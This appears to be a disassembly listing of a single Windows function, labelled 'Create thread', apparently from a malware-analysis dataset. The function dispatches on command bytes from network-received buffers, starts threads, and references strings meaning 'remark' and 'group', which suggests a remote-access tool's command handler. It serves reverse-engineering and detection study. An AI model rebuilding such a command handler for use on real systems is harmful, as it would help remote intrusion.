Function at 0x140005010
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x30
cmp dword [rcx + 0x230], 0
mov ebp, r8d
mov r12, rdx
mov rdi, rcx
je 0x14000506c
mov ebx, 0x410
lea rcx, [0x140063a90]
lea rdx, [0x140064ad0]
mov r8d, ebx
call fcn.1400211b0
lea rcx, [0x140063ea0]
lea rdx, [0x140064ee0]
mov r8d, ebx
call fcn.1400211b0
mov r11d, dword [0x140061010]
jmp 0x1400050b1
cmp dword [0x1400652f0], 0
jne 0x1400054bd
mov ebx, 0x410
lea rcx, [0x140063a90]
lea rdx, [0x1400642b0]
mov r8d, ebx
call fcn.1400211b0
lea rcx, [0x140063ea0]
lea rdx, [0x1400646c0]
mov r8d, ebx
call fcn.1400211b0
mov r11d, dword [0x14006100c]
movzx ecx, byte [r12]
mov dword [0x140061008], r11d
cmp ecx, 7
jg 0x1400053ec
je 0x1400053d9
test ecx, ecx
je 0x1400053bc
dec ecx
je 0x1400052a7
dec ecx
je 0x140005194
sub ecx, 2
je 0x14000511c
dec ecx
je 0x1400050fa
dec ecx
jne 0x1400054bd
jmp 0x1400053cc
call fcn.1400054d0
lea r8, [0x14004a710]
lea rdx, [0x14004aad8]
mov ecx, 2
call fcn.140006564
jmp 0x1400054bd
mov r13d, 0x20470
mov ecx, r13d
call fcn.140021540
mov r8d, r13d
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.140025070
lea r11d, [rbp - 1]
mov ecx, r11d
mov ebx, r11d
call fcn.1400217a8
lea rdx, [r12 + 1]
mov r8d, ebx
mov rcx, rax
mov rdi, rax
call fcn.1400211b0
mov ecx, reloc.WS2_32.dll_recv
call fcn.140021540
lea ecx, [rbp - 1]
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov dword [rsi + 0x404], ecx
mov rcx, qword [rax]
mov r9, rax
mov dword [rcx], 2
and qword [rsp + 0x28], 0
lea r8, [0x140004bdc]
jmp 0x1400054a6
mov r13d, 0x20470
mov ecx, r13d
call fcn.140021540
mov r8d, r13d
xor edx, edx
mov rcx, rax
mov rbp, rax
call fcn.140025070
lea rdx, [r12 + 1]
mov r8d, r13d
mov rcx, rbp
call fcn.1400211b0
movsxd rsi, dword [r12 + 0x20471]
mov rcx, rsi
call fcn.1400217a8
lea rdx, [r12 + 0x20475]
mov r8, rsi
mov rcx, rax
mov rdi, rax
call fcn.1400211b0
mov ecx, reloc.WS2_32.dll_recv
call fcn.140021540
mov r12, rax
mov qword [rsp + 0x78], rax
mov qword [rax], rbp
mov qword [rax + 8], rdi
mov rcx, qword [rax]
mov dword [rcx + 0x404], esi
mov rcx, qword [0x140065300]
lea rax, [rsp + 0x78]
cmp rax, rcx
jae 0x140005269
mov rax, qword [0x1400652f8]
lea rdx, [rsp + 0x78]
cmp rax, rdx
ja 0x140005269
lea rbx, [rsp + 0x78]
sub rbx, rax
sar rbx, 3
cmp rcx, qword [0x140065308]
jne 0x14000525b
lea rcx, [0x1400652f8]
call fcn.1400063e8
mov rcx, qword [0x140065300]
mov rax, qword [0x1400652f8]
test rcx, rcx
je 0x140005294
mov rax, qword [rax + rbx*8]
mov qword [rcx], rax
jmp 0x14000528d
cmp rcx, qword [0x140065308]
jne 0x140005285
lea rcx, [0x1400652f8]
call fcn.1400063e8
mov rcx, qword [0x140065300]
test rcx, rcx
je 0x140005294
mov qword [rcx], r12
mov rcx, qword [0x140065300]
add rcx, 8
mov r9, r12
mov qword [0x140065300], rcx
jmp 0x140005182
mov r13d, 0x20470
mov ecx, r13d
call fcn.140021540
mov r8d, r13d
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.140025070
lea rdx, [r12 + 1]
mov r8d, r13d
mov rcx, rsi
call fcn.1400211b0
mov rbx, qword [0x1400652f8]
mov r9, qword [0x140065300]
jmp 0x140005312
mov rax, qword [rbx]
lea r8, [rsi + 4]
mov rcx, qword [rax]
add rcx, 4
sub r8, rcx
movzx eax, word [rcx]
movzx edx, word [rcx + r8]
sub eax, edx
jne 0x14000530a
add rcx, 2
test edx, edx
jne 0x1400052f6
test eax, eax
je 0x140005369
add rbx, 8
cmp rbx, r9
jne 0x1400052e5
mov ebp, 0x20471
mov ecx, ebp
call fcn.1400217a8
mov r8, r13
mov rdx, rsi
mov rbx, rax
mov byte [rax], 5
mov eax, 1
lea rcx, [rbx + 1]
mov dword [rsi + 0x400], eax
call fcn.1400211b0
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov r9, qword [rcx]
mov rdx, rbx
call qword [r9 + reloc.WS2_32.dll_recv]
mov rcx, rsi
call fcn.140021190
mov rcx, rbx
call fcn.140021190
jmp 0x1400054bd
mov rax, qword [rbx]
lea r8, [rsi + 0x202]
mov edx, 0xff
mov rcx, qword [rax]
add rcx, 0x202
call fcn.140021890
mov r9, qword [rbx]
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [0x140004bdc]
xor edx, edx
xor ecx, ecx
call fcn.140021fe8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x1400054bd
mov rcx, rsi
jmp 0x14000535f
mov eax, 1
xchg dword [rdi + 0x234], eax
call fcn.1400054d0
mov rcx, rdi
call fcn.1400055d8
jmp 0x1400054bd
mov r8d, ebp
mov rdx, r12
mov rcx, rdi
call fcn.1400056e8
jmp 0x1400054bd
sub ecx, 8
je 0x14000548b
dec ecx
je 0x140005456
dec ecx
je 0x140005425
sub ecx, 0x5a
je 0x140005415
dec ecx
jne 0x1400054bd
and dword [0x1400652f0], ecx
jmp 0x1400054bd
mov eax, 1
mov dword [0x1400652f0], eax
jmp 0x1400054bd
movzx ecx, byte [r12 + 1]
test ecx, ecx
je 0x140005440
dec ecx
jne 0x1400054bd
lea rdx, str.BEIZHU
jmp 0x140005447
lea rdx, str.FENZU
lea r8, [r12 + 2]
mov rcx, rdi
call fcn.140005ff0
jmp 0x1400054bd
mov edx, dword [r12 + 1]
mov rcx, rdi
call fcn.140005d48
lea r8, [0x14004a710]
mov ecx, 2
test eax, eax
je 0x14000547f
lea rdx, [0x14004aae8]
jmp 0x140005112
lea rdx, [0x14004aaf8]
jmp 0x140005112
and dword [rsp + 0x60], 0
lea rax, [rsp + 0x60]
lea r9, [r12 + 1]
mov qword [rsp + 0x28], rax
lea r8, [0x1400060cc]
and dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call fcn.140021fe8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret